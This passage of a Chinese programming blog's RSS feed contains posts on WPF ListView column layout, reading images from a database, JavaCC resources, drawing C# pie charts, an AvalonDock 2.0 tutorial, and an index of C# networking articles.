        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=State}&#34;
          ctrl:FixedColumn.Width=&#34;25&#34;
          Header=&#34;Name&#34; /&gt;

        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=Name}&#34;

          Width=&#34;150&#34;
          ctrl:RangeColumn.MinWidth=&#34;100&#34;
          ctrl:RangeColumn.MaxWidth=&#34;200&#34;

          Header=&#34;City&#34; /&gt;

        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=City}&#34;
          ctrl:ProportionalColumn.Width=&#34;1&#34;
          Header=&#34;Zip&#34; /&gt;

        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=Country}&#34;

          ctrl:ProportionalColumn.Width=&#34;2&#34;
          Header=&#34;Country&#34; /&gt;
      &lt;/GridView&gt;

    &lt;/ListView.View&gt;
  &lt;/ListView&gt;&lt;/pre&gt;
&lt;h3 id=&#34;使用后台代码控制listviewgridview布局&#34;&gt;使用后台代码控制ListView/GridView布局&lt;/h3&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;
ListView listView = new ListView();
 new ListViewLayoutManager( listView ); // attach the layout manager

 GridView gridView = new GridView();
 gridView.Columns.Add( FixedColumn.ApplyWidth( new MyGridViewColumn( &#34;State&#34; ), 25 ) );
 gridView.Columns.Add( RangeColumn.ApplyWidth( new MyGridViewColumn( &#34;Name&#34; ), 100,
     150, 200 ) ); // 100...200
 gridView.Columns.Add( ProportionalColumn.ApplyWidth( new MyGridViewColumn( &#34;City&#34; ),
     1 ) ); // 33%
 gridView.Columns.Add( ProportionalColumn.ApplyWidth( new MyGridViewColumn(
     &#34;Country&#34; ), 2 ) ); // 66%

 listView.View = gridView;
&lt;/pre&gt;
&lt;h3 id=&#34;定制列的效果&#34;&gt;定制列的效果&lt;/h3&gt;
&lt;p&gt;类ConverterGridColumn 作为一个基类，用来绑定列到独立的对象。&lt;/p&gt;</description>
    </item>
    <item>
      <title>从数据库读取图片发生“无效的参数”异常</title>
      <link>http://blog.leaver.me/2012/09/27/%E4%BB%8E%E6%95%B0%E6%8D%AE%E5%BA%93%E8%AF%BB%E5%8F%96%E5%9B%BE%E7%89%87%E5%8F%91%E7%94%9F%E6%97%A0%E6%95%88%E7%9A%84%E5%8F%82%E6%95%B0%E5%BC%82%E5%B8%B8/</link>
      <pubDate>Thu, 27 Sep 2012 19:47:39 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/27/%E4%BB%8E%E6%95%B0%E6%8D%AE%E5%BA%93%E8%AF%BB%E5%8F%96%E5%9B%BE%E7%89%87%E5%8F%91%E7%94%9F%E6%97%A0%E6%95%88%E7%9A%84%E5%8F%82%E6%95%B0%E5%BC%82%E5%B8%B8/</guid>
      <description>&lt;h3 id=&#34;介绍&#34;&gt;介绍&lt;/h3&gt;
&lt;p&gt;我发现对于很多人来说，当从数据库里载入一张图片然后重新创建成一张图片显示的话会有这样一个问题&amp;mdash;-当他们尝试重新创建新的图片的时候，会抛出一个“无效的参数”异常&lt;/p&gt;
&lt;p&gt;因此，本文介绍该异常如何产生。并且我希望未来当我或是你发生这个错误的时候还能有所帮助。。&lt;/p&gt;
&lt;h3 id=&#34;背景&#34;&gt;背景&lt;/h3&gt;
&lt;p&gt;存储图片到数据库里面是一个很有效的想法。很多人在一些场合都会这样做。的确，这是一个很好的想法。在图片很小的情况下，或者图片不是太多。在这两种情况下，当你需要图片的时候，你会实时去加载它们。而当你不需要的时候如果从数据库里加载图片会浪费很多带宽。并使得你的程序有一些慢。&lt;/p&gt;
&lt;p&gt;但问题是这种方法也很容易发生错误。&amp;ndash;尤其是你使用字符串连接，然后组合到你的SQL语句里面—并且这个错误只有当你打算使用存储的信息的时候才会发生。然后，看起来似乎是你的读取代码写错了&amp;mdash;不可能—它是正常的。我在其他地方都可以的。。&lt;/p&gt;
&lt;h3 id=&#34;从数据库里加载图片&#34;&gt;从数据库里加载图片&lt;/h3&gt;
&lt;p&gt;重数据库里读取一张图片然后转换成图片显示是很简单的。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;using (SqlConnection con = DBAccess.DBCon)
                        {
                        using (SqlCommand cmd = new SqlCommand(&#34;SELECT picture FROM Pictures WHERE Id=@ID&#34;, con))
                            {
                            cmd.Parameters.AddWithValue(&#34;@ID&#34;, Id);
                            SqlDataReader reader = cmd.ExecuteReader();
                            if (reader.Read())
                                {
                                byte[] data = (byte[])reader[&#34;Picture&#34;];
                                using (MemoryStream stream = new MemoryStream(bytes))
                                    {
                                    myImage = new Bitmap(stream);
                                    }
                                }
                            }
                        }&lt;/pre&gt;
&lt;p&gt;但是-如果data因为一些原因不是有效的图片，那么这一行&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;myImage = new Bitmap(stream);&lt;/pre&gt;
&lt;p&gt;将会抛出一个异常—无效的参数&lt;/p&gt;
&lt;p&gt;只有当你真正看了从数据库里返回到data里的数据-而不是简单的瞄了一眼调试器，你才能注意到是什么原因。。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;{byte[21]}
[0] 83
[1] 121
[2] 115
[3] 116
[4] 101
[5] 109
[6] 46
[7] 68
[8] 114
[9] 97
[10] 119
[11] 105
[12] 110
[13] 103
[14] 46
...&lt;/pre&gt;
&lt;p&gt;它看起来不像是错的，所以它可能就是你想要的。-虽然21字节是一个很大的线索：你的图片可能只有21字节长？那图片可真小。。&lt;/p&gt;
&lt;p&gt;但是，上面的是可以读懂的。。稍微练习一下。。每个字节是一个ASCII码。。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;&#34;83&#34; is an uppercase &#39;S&#39;
&#34;121&#34; is an lowercase &#39;y&#39;
&#34;115&#34; is an lowercase &#39;s&#39;
&#34;116&#34; is an lowercase &#39;t&#39;
&#34;101&#34; is an lowercase &#39;e&#39;
&#34;109&#34; is an lowercase &#39;m&#39;
&#34;46&#34; is a &#39;.&#39;
&#34;68&#34; is an uppercase &#39;D&#39;
&#34;114&#34; is an lowercase &#39;r&#39;
&#34;97&#34; is an lowercase &#39;a&#39;
&#34;119&#34; is an lowercase &#39;w&#39;
&#34;105&#34; is an lowercase &#39;i&#39;
&#34;110&#34; is an lowercase &#39;n&#39;
&#34;103&#34; is an lowercase &#39;g&#39;
&#34;46&#34; is an lowercase &#39;.&#39;
...&lt;/pre&gt;
&lt;p&gt;简而言之，你从数据库里得到的数据是一个人类可以读懂的字符串，意思是是&lt;/p&gt;</description>
    </item>
    <item>
      <title>JavaCC入门教程及相关资源</title>
      <link>http://blog.leaver.me/2012/09/27/javacc%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E5%8F%8A%E7%9B%B8%E5%85%B3%E8%B5%84%E6%BA%90/</link>
      <pubDate>Thu, 27 Sep 2012 15:55:32 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/27/javacc%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E5%8F%8A%E7%9B%B8%E5%85%B3%E8%B5%84%E6%BA%90/</guid>
      <description>&lt;p&gt;今天下午翻译了一篇简单的文章后。就去看JavaCC的东西了。。然后就找到了一篇&lt;a href=&#34;http://www.engr.mun.ca/~theo/JavaCC-Tutorial/javacc-tutorial.pdf&#34;&gt;入门教程&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后之前我是找到了一篇翻译过来的的&lt;a href=&#34;https://sites.google.com/site/beariceshome/the-javacc-tutorial&#34;&gt;某熊的战略储备基地&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;从头到尾读了一遍英文的。感觉还是英文的写的要好一些。建议对照着翻译看英文。JavaCC也就那么回事。。&lt;/p&gt;
&lt;p&gt;同时在在这目测百慕大群岛的什么工程与应用科学学院找到了一些其他的文档。其中一篇是&lt;a href=&#34;http://www.engr.mun.ca/~theo/JavaCC-FAQ/javacc-screen-faq.pdf&#34;&gt;JavaCC-FAQ&lt;/a&gt;很好。基本上有关JavaCC的问题都有解释。&lt;/p&gt;
&lt;p&gt;在FAQ里，看到了一个关于&lt;a href=&#34;http://www.j-paine.org/jjtree.html&#34;&gt;JJTree&lt;/a&gt;的介绍，写的不错。建议看看。&lt;/p&gt;
&lt;p&gt;还有一个是国外某学校的编译原理课程的&lt;a href=&#34;http://scg.unibe.ch/download/lectures/cc/&#34;&gt;ppt下载&lt;/a&gt;，好象是以JavaCC作为工具的。还没认真看。&lt;/p&gt;
&lt;p&gt;还有一篇&lt;a href=&#34;http://www.cnblogs.com/Gavin_Liu/archive/2009/03/07/1405029.html&#34;&gt;JavaCC 研究与应用&lt;/a&gt;    ，写的平常。不过是中文版的。&lt;/p&gt;
&lt;p&gt;最后。千万不要忘了&lt;a href=&#34;http://javacc.java.net/doc/&#34;&gt;官方文档&lt;/a&gt;。也包括你下载的JavaCC里面的Demo。。&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#使用Graphics创建饼图</title>
      <link>http://blog.leaver.me/2012/09/27/c%23%E4%BD%BF%E7%94%A8graphics%E5%88%9B%E5%BB%BA%E9%A5%BC%E5%9B%BE/</link>
      <pubDate>Thu, 27 Sep 2012 13:47:25 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/27/c%23%E4%BD%BF%E7%94%A8graphics%E5%88%9B%E5%BB%BA%E9%A5%BC%E5%9B%BE/</guid>
      <description>&lt;h3 id=&#34;介绍&#34;&gt;介绍&lt;/h3&gt;
&lt;p&gt;这个程序是使用C#中的Graphics来创建一个饼图的，我已经尽我所能写的很好了。如果你有任何建议可以分享给我，这样我也能从中学习。&lt;/p&gt;
&lt;h3 id=&#34;使用代码&#34;&gt;使用代码&lt;/h3&gt;
&lt;p&gt;最近我迷上了Graphics类。我仅仅体验了一下Graphics的DrawPie() 和FillPie() 方法。&lt;/p&gt;
&lt;p&gt;最为一个简单的Demo，我创建一个有着五个文本框的窗体，一个按钮，一个图片框。一会我就把饼图画在图片框里&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27557_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/f3681994ca4fce2b724886db9d7a958d854c8e39.png&#34; title=&#34;client&#34;&gt;&lt;/a&gt;
在创建一个饼图之前，我们头脑里要有这个意识。我们不能创建一个不符合常规的圆，创建圆我们需要度数信息。&lt;/p&gt;
&lt;p&gt;为了转换度数。我们首先把给定的值做个求和。然后得出文本框里所有值的和。然后呢。用每个值除以总值再乘以360度。
代码如下：&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;int i1 = Int32.Parse(textBox1.Text);
int i2 = Int32.Parse(textBox2.Text);
int i3 = Int32.Parse(textBox3.Text);
int i4 = Int32.Parse(textBox4.Text);
int i5 = Int32.Parse(textBox5.Text);

float total = i1 + i2 + i3 + i4 + i5 ;

float deg1 = (i1 / total) * 360;
float deg2 = (i2 / total) * 360;
float deg3 = (i3 / total) * 360;
float deg4 = (i4 / total) * 360;
float deg5 = (i5 / total) * 360;&lt;/pre&gt;
&lt;p&gt;值转换完毕后。我们可以创建Graphics类的实例了。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;Graphics graphics = pictureBox1.CreateGraphics();  &lt;/pre&gt;
&lt;p&gt;然后我们需要创建一个矩形区域，在这个矩形区域里绘制饼图。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;Rectangle rect = new Rectangle(0, 0, 150, 150);&lt;/pre&gt;
&lt;p&gt;前两个参数定义了矩形左上角的坐标，后两个分别定义了举行的宽和高。&lt;/p&gt;
&lt;p&gt;为了能够比较清晰的看出饼图各部分的比例。我们需要创建五个笔刷。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;Brush brush1 = new SolidBrush(Color.Red);
Brush brush2 = new SolidBrush(Color.Blue);
Brush brush3 = new SolidBrush(Color.Maroon);
Brush brush4 = new SolidBrush(Color.Navy);
Brush brush5 = new SolidBrush(Color.YellowGreen);
graphics.Clear(pictureBox1.BackColor);&lt;/pre&gt;
&lt;p&gt;现在我们可以开始创建我们的饼图了。graphics.FillPie();方法接受四个参数&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;笔刷，用来填充扇形&lt;/li&gt;
&lt;li&gt;矩形：饼图将被创建的区域。&lt;/li&gt;
&lt;li&gt;开始角度：饼部分的开始角度&lt;/li&gt;
&lt;li&gt;覆盖角度：饼部分扫过的角度&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;一般来说graphics.FillPie();方法并不是创建一个完全的饼图，而是创建饼图的一个扇形部分，我们会创建一系列的扇形最终看起来像是一个饼图。&lt;/p&gt;</description>
    </item>
    <item>
      <title>AvalonDock 2.0入门指南第一部分</title>
      <link>http://blog.leaver.me/2012/09/26/avalondock-2.0%E5%85%A5%E9%97%A8%E6%8C%87%E5%8D%97%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86/</link>
      <pubDate>Wed, 26 Sep 2012 16:38:26 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/26/avalondock-2.0%E5%85%A5%E9%97%A8%E6%8C%87%E5%8D%97%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;http://avalondock.codeplex.com&#34;&gt;AvalonDock&lt;/a&gt; 2.0可以用来为WPF创建一个类似Visual Studio的界面，深入理解如何使用AvalonDock进行开发是很重要的。&lt;/p&gt;
&lt;p&gt;在这个入门指南里，我将演示如何开始使用AvalonDock，下面的文章都是基于2.0版本的。并且不能用于早期的版本。&lt;/p&gt;
&lt;p&gt;AvalonDock是一个组合的布局模型，很多的控件都在视图上显示，一个DockingManager 类也显示在停靠区，用于可以拖拽文档和工具。&lt;/p&gt;
&lt;p&gt;从下面这个截图中我们可以理解AvalonDock组件&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27544_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/38cf4425c7a05bde89671d9f06c99e6626985373.png&#34; title=&#34;ADTutorial&#34;&gt;&lt;/a&gt;
&lt;strong&gt;DockingManager&lt;/strong&gt; 这是AvalonDock中的核心控件，它将包含的窗格排序，处理飞出的窗格，还有浮动的窗口。在上面这个图中，DockingManager 对象包含了所有空间（WPF控件），从顶部的工具栏到底部的状态栏都算。同时。DockingManager 也可以处理保存和恢复布局。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;LayoutPanel&lt;/strong&gt; 这个面板用来管理在一个方向上的子窗口（通过Orientation属性来选择方向），并且在它们之间添加了一个大小调节控件，在一个Orientation属性是Horizontal（水平）的LayoutPanel 上，排列了三个窗格。一个LayoutAnchorablePane在左，一个LayoutDocumentPane在中间。一个LayoutDockablePane在右边。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;LayoutDockablePane&lt;/strong&gt;  这个布局元素包含一个LayoutAnchorable对象的集合。通过它用来管理想TabControl这样的控件，在上面的截图中，LayoutDockablePanes是在左边的&amp;rsquo;Strumenti&amp;rsquo; 和 &amp;lsquo;Progetti&amp;rsquo; (工具和项目)  和在右边的&amp;rsquo;Classi&amp;rsquo; 和 &amp;lsquo;Proprieta&amp;rsquo;&amp;rsquo; (类视图和属性视图)的容器，一个LayoutDockablePane可以自动隐藏，就像&amp;rsquo;Errori&amp;rsquo;(错误)和&amp;rsquo;Lista Azioni&amp;rsquo;(操作列表) and &amp;lsquo;Uscita&amp;rsquo;(输出)。并且LayoutDockablePane可以被拖动到DockingManager上，成为一个浮动窗口或者附着到它的父控件DockingManager的边缘上。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;LayoutDocumentPane&lt;/strong&gt; 通常包含文档（DocumentContent类型）的一种窗格，但是其实也可以包含像上面提到的工具视图和类视图这样的DockableContents。在一个文档里。LayoutDocumentPane 被放置在ResizingPanel（水平方向）里。ResizingPanel则是上卖弄提到的在两个DockablePane中间的区域。注意。文档窗格是不能被移动的。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;LayoutAnchorable&lt;/strong&gt; 一个停靠内容，是软件控件的容器，总是被包含在一个窗格里（LayoutAnchorablePane或是LayoutDocumentPane），在截图里。LayoutAnchorable是一类对象（包含一个SharpDevelop对象），工具对象，但是错误窗口（它处于自动隐藏状态，被好办在一个自动隐藏窗格里）不是。LayoutAnchorable就像它名字所暗示的那样。可以被从他的容器窗格里拖走。然后重新放置在一个存在的窗格里。或者是放置在父DockingManager的边缘，或者是放置在一个浮动窗口里（LayoutAnchorableFloatingWindow）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;LayoutDocument&lt;/strong&gt; 是一个仅可以被寄宿到LayoutDocumentPane的内容。它是一个特殊的内容，因为不能被停靠到边缘。仅能被放置到LayoutDocumentPane里。或者浮动在一个LayoutDocumentFloatingWindow窗口里。在途中，DocumentContent对象是program.cs&amp;rsquo; 或 &amp;lsquo;MainForm.cs&amp;rsquo; 文件视图&lt;/p&gt;
&lt;p&gt;**LayoutFloatingWindow **，是一个包含内容的窗口，当被拖动到一个DockingManager上面的时候，LayoutFloatingWindow（LayoutAnchorableFloatingWindow和LayoutDocumentFloatingWindow继承自他）集成在Window，总是包含一个窗格（LayoutAnchorablePane或是LayoutDocumentPane），窗格包含更多的内容（LayoutAnchorable或LayoutDocument），当用户对一个内容或是DockablePane执行拖拽，或者直接手工使用代码调用LayoutContent.Float()方法 LayoutFloatingWindow就被直接从DockingManager创建出来了。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;LayoutPane&lt;/strong&gt;  一个基类，LayoutDockablePane和LayoutDocumentPane继承自它。它为他们提供了一些共有的属性和方法。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;LayoutContent&lt;/strong&gt; 是LayoutAnchorable 和LayoutAnchorable类的父类。提供了共有的属性和方法。&lt;/p&gt;
&lt;p&gt;理解布局元素是一些属于布局模型的类而不是属于视图是很重要的。因为，他们不是继承自FrameworkElement类，取而代之。AvalonDock包含了另一些类来展示这些组件的视图。这些类通常被命名为相关联的类名+Control字串。举个例子，在布局里创建的LayoutAnchorable创建了一个LayoutAnchorableControl（继承自FrameworkElement的类），并且绑定了LayoutAnchorableControl.Model 到这个LayoutAnchorable对象上。&lt;/p&gt;
&lt;p&gt;每一个被创建的视图控件总是有着Model属性的布局元素。因此，重新设计一个相关视图控件的样式是可以的。&lt;/p&gt;
&lt;p&gt;为了开始创建一个新的.net 4/.net 4.5的解决方案。并且添加对AvalonDock.dll的引用（可以直接添加也可以使用NuGet），然后添加AD命名空间到MainWindow.xaml中。&lt;/p&gt;
&lt;p&gt;在根Grid下放置DockingManager组件和一个简单的布局。&lt;/p&gt;
&lt;pre class=&#34;lang:xhtml decode:true &#34; &gt;&amp;lt;Window x:Class=&#34;MainWindow&#34;
        xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34;
        xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34;
        xmlns:avalonDock=&#34;http://avalondock.codeplex.com&#34;
        Title=&#34;MainWindow&#34; Height=&#34;434&#34; Width=&#34;684&#34;&amp;gt;
    &amp;lt;Grid&amp;gt;
        &amp;lt;avalonDock:DockingManager x:Name=&#34;dockingManager&#34;&amp;gt;
            &amp;lt;avalonDock:LayoutRoot&amp;gt;
                &amp;lt;avalonDock:LayoutPanel Orientation=&#34;Horizontal&#34;&amp;gt;
                    &amp;lt;avalonDock:LayoutDocumentPane/&amp;gt;
                    &amp;lt;avalonDock:LayoutAnchorablePane DockWidth=&#34;150&#34;&amp;gt;
                        &amp;lt;avalonDock:LayoutAnchorable Title=&#34;Sample Tool Pane&#34;&amp;gt;
                            &amp;lt;TextBox/&amp;gt;
                        &amp;lt;/avalonDock:LayoutAnchorable&amp;gt;
                    &amp;lt;/avalonDock:LayoutAnchorablePane&amp;gt;
                &amp;lt;/avalonDock:LayoutPanel&amp;gt;
                &amp;lt;avalonDock:LayoutRoot.LeftSide&amp;gt;
                    &amp;lt;avalonDock:LayoutAnchorSide&amp;gt;
                        &amp;lt;avalonDock:LayoutAnchorGroup&amp;gt;
                            &amp;lt;avalonDock:LayoutAnchorable Title=&#34;Autohidden Content&#34;&amp;gt;
                                &amp;lt;TextBox/&amp;gt;
                            &amp;lt;/avalonDock:LayoutAnchorable&amp;gt;
                        &amp;lt;/avalonDock:LayoutAnchorGroup&amp;gt;
                    &amp;lt;/avalonDock:LayoutAnchorSide&amp;gt;
                &amp;lt;/avalonDock:LayoutRoot.LeftSide&amp;gt;
            &amp;lt;/avalonDock:LayoutRoot&amp;gt;
        &amp;lt;/avalonDock:DockingManager&amp;gt;
    &amp;lt;/Grid&amp;gt;
&amp;lt;/Window&amp;gt;
&lt;/pre&gt; 
&lt;p&gt;DockingManager是AvalonDock的核心类，他的责任就是创建管理布局。布局被定义成一个ILayoutElement的树。树的根由LayoutRoot类指定。LayoutRoot由一些基本的子树来构成。。&lt;/p&gt;
&lt;p&gt;1.根面板的 根属性指向主 LayoutPanel，也是LayoutRoot的内容属性。&lt;/p&gt;
&lt;p&gt;2.大体上讲，RightSide/LeftSide/TopSide/BottonSide是LayoutAnchorGroup对象的集合属性，他们表示了停靠管理器的四个边。停靠管理器的锚通常是隐藏的。当用户移动鼠标到这些区域的时候。就会在自动隐藏的窗口里显示出来。&lt;/p&gt;
&lt;p&gt;3.FloatingWindows属性是FloatingWindow的集合。一个浮动窗口当用户拖动一个窗格（LayoutAnchorable或是LayoutDocument）的时候就被创建出来，这个集合可以被AvalonDock自动更新，但是用户依然可以通过调用LayoutContent的Float()方法来创建一个浮动窗口。&lt;/p&gt;
&lt;p&gt;Hidden是一个Anchorable（停靠）对象的集合。默认情况下，当用户点击一个LayoutAnchorable对象的关闭按钮，AvalonDock隐藏它：通过从布局里移除停靠元素，并且把他放入Hidden集合，当用户想要再一次显示的时候，AD又把这个内容从隐藏集合里删除重新显示在他被隐藏的那个窗格里。&lt;/p&gt;
&lt;p&gt;当使用布局树的时候，程序员可以创建任何复杂的界面，LayoutAnchorablePane的DockWidth和DockHeight属性可以被用来设置窗格的初始宽度和高度。而LayoutDocumentPane类通常则填满可用的空间。AvalonDock管理内容元素的宽度和高度以使得可以使用所有的可用空间。因此如果一个LayoutAnchorablePane被放置在一个LayoutPanel里，为LayoutAnchorablePane使用一个固定尺寸而为LayoutDocumentPane使用一个比例长度。也就是说为停靠对象使用了比例长度。&lt;/p&gt;
&lt;p&gt;一个LayoutDocumentGroup/ LayoutAnchorableGroup类可以被用来包含更多的LayoutDocumentPane/ LayoutAnchorablePane，举个例子，让我们来改变上面的例子来实现更复杂的例子。&lt;/p&gt;
&lt;pre class=&#34;lang:xhtml decode:true &#34; &gt;&amp;lt;Window x:Class=&#34;AvalonDock2Tutorial.MainWindow&#34;
        xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34;
        xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34;
        xmlns:avalonDock=&#34;http://avalondock.codeplex.com&#34;
        Title=&#34;MainWindow&#34; Height=&#34;350&#34; Width=&#34;525&#34;&amp;gt;
    &amp;lt;Grid&amp;gt;
        &amp;lt;avalonDock:DockingManager x:Name=&#34;dockingManager&#34;&amp;gt;
            &amp;lt;avalonDock:LayoutRoot&amp;gt;
                &amp;lt;avalonDock:LayoutPanel Orientation=&#34;Horizontal&#34;&amp;gt;
                    &amp;lt;avalonDock:LayoutDocumentPaneGroup&amp;gt;
                        &amp;lt;avalonDock:LayoutDocumentPane&amp;gt;
                            &amp;lt;avalonDock:LayoutDocument Title=&#34;Doc1&#34;&amp;gt;
                                &amp;lt;TextBox/&amp;gt;
                            &amp;lt;/avalonDock:LayoutDocument&amp;gt;
                            &amp;lt;avalonDock:LayoutDocument Title=&#34;Doc2&#34;&amp;gt;
                                &amp;lt;TextBox/&amp;gt;
                            &amp;lt;/avalonDock:LayoutDocument&amp;gt;
                        &amp;lt;/avalonDock:LayoutDocumentPane&amp;gt;
                        &amp;lt;avalonDock:LayoutDocumentPane&amp;gt;
                            &amp;lt;avalonDock:LayoutDocument Title=&#34;Doc3&#34;&amp;gt;
                                &amp;lt;TextBox/&amp;gt;
                            &amp;lt;/avalonDock:LayoutDocument&amp;gt;
                        &amp;lt;/avalonDock:LayoutDocumentPane&amp;gt;                        
                    &amp;lt;/avalonDock:LayoutDocumentPaneGroup&amp;gt;
                    &amp;lt;avalonDock:LayoutAnchorablePaneGroup DockWidth=&#34;150&#34; Orientation=&#34;Vertical&#34;&amp;gt;
                        &amp;lt;avalonDock:LayoutAnchorablePane&amp;gt;
                            &amp;lt;avalonDock:LayoutAnchorable Title=&#34;Tool 1&#34;&amp;gt;
                                &amp;lt;TextBox/&amp;gt;
                            &amp;lt;/avalonDock:LayoutAnchorable&amp;gt;
                            &amp;lt;avalonDock:LayoutAnchorable Title=&#34;Tool 2&#34;&amp;gt;
                                &amp;lt;TextBox/&amp;gt;
                            &amp;lt;/avalonDock:LayoutAnchorable&amp;gt;
                        &amp;lt;/avalonDock:LayoutAnchorablePane&amp;gt;
                        &amp;lt;avalonDock:LayoutAnchorablePane&amp;gt;
                            &amp;lt;avalonDock:LayoutAnchorable Title=&#34;Tool 3&#34;&amp;gt;
                                &amp;lt;TextBox/&amp;gt;
                            &amp;lt;/avalonDock:LayoutAnchorable&amp;gt;
                            &amp;lt;avalonDock:LayoutAnchorable Title=&#34;Tool 4&#34;&amp;gt;
                                &amp;lt;TextBox/&amp;gt;
                            &amp;lt;/avalonDock:LayoutAnchorable&amp;gt;
                        &amp;lt;/avalonDock:LayoutAnchorablePane&amp;gt;
                    &amp;lt;/avalonDock:LayoutAnchorablePaneGroup&amp;gt;
                &amp;lt;/avalonDock:LayoutPanel&amp;gt;
                &amp;lt;avalonDock:LayoutRoot.LeftSide&amp;gt;
                    &amp;lt;avalonDock:LayoutAnchorSide&amp;gt;
                        &amp;lt;avalonDock:LayoutAnchorGroup&amp;gt;
                            &amp;lt;avalonDock:LayoutAnchorable Title=&#34;Autohidden Content&#34;&amp;gt;
                                &amp;lt;TextBox/&amp;gt;
                            &amp;lt;/avalonDock:LayoutAnchorable&amp;gt;
                        &amp;lt;/avalonDock:LayoutAnchorGroup&amp;gt;
                    &amp;lt;/avalonDock:LayoutAnchorSide&amp;gt;
                &amp;lt;/avalonDock:LayoutRoot.LeftSide&amp;gt;
            &amp;lt;/avalonDock:LayoutRoot&amp;gt;
        &amp;lt;/avalonDock:DockingManager&amp;gt;

    &amp;lt;/Grid&amp;gt;
&amp;lt;/Window&amp;gt;&lt;/pre&gt; 
&lt;p&gt;运行这个工程你就可以重新排列内容了。移动他们到浮动窗口。为了更加熟悉AvalonDock，我建议你多试几次，然后重新排列内容实现更复杂的布局。&lt;/p&gt;</description>
    </item>
    <item>
      <title>C# 网络编程系列</title>
      <link>http://blog.leaver.me/2012/09/25/c%23-%E7%BD%91%E7%BB%9C%E7%BC%96%E7%A8%8B%E7%B3%BB%E5%88%97/</link>
      <pubDate>Tue, 25 Sep 2012 18:04:21 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/25/c%23-%E7%BD%91%E7%BB%9C%E7%BC%96%E7%A8%8B%E7%B3%BB%E5%88%97/</guid>
      <description>&lt;p&gt;本系列来自博客园的&lt;a href=&#34;http://www.cnblogs.com/zhili/&#34;&gt;Learning hard&lt;/a&gt;园友。每个博主都不容易，我这里只是给出一个索引，希望更多热爱技术的人能够看到。给分享者更多的鼓励和支持。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/08/11/NetWorkProgramming.html&#34;&gt;专题一：网络协议简介&lt;/a&gt;
&lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/08/18/HTTP.html&#34;&gt;专题二：HTTP协议详解&lt;/a&gt;
&lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/08/23/WebServer.html&#34;&gt;专题三：自定义Web服务器&lt;/a&gt;
&lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/08/24/WebBrowser.html&#34;&gt;专题四：自定义Web浏览器&lt;/a&gt;
&lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/08/25/TCP.html&#34;&gt;专题五：TCP编程&lt;/a&gt;
&lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/09/01/UDP_Multicast.html&#34;&gt;专题六：UDP编程&lt;/a&gt;
&lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/09/03/UDPBroadcas.html&#34;&gt;专题七：UDP编程补充——UDP广播程序的实现&lt;/a&gt;
&lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/09/14/P2P_PNPR.html&#34;&gt;专题八：P2P编程&lt;/a&gt;
&lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/09/23/QQ_P2P.html&#34;&gt;专题九：实现类似QQ的即时通信程序&lt;/a&gt;
&lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/09/24/MailSend_POP3_SMTP.html&#34;&gt;专题十：实现简单的邮件收发器&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#编写youtube下载器</title>
      <link>http://blog.leaver.me/2012/09/25/c%23%E7%BC%96%E5%86%99youtube%E4%B8%8B%E8%BD%BD%E5%99%A8/</link>
      <pubDate>Tue, 25 Sep 2012 09:33:12 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/25/c%23%E7%BC%96%E5%86%99youtube%E4%B8%8B%E8%BD%BD%E5%99%A8/</guid>
      <description>&lt;h3 id=&#34;介绍&#34;&gt;介绍&lt;/h3&gt;
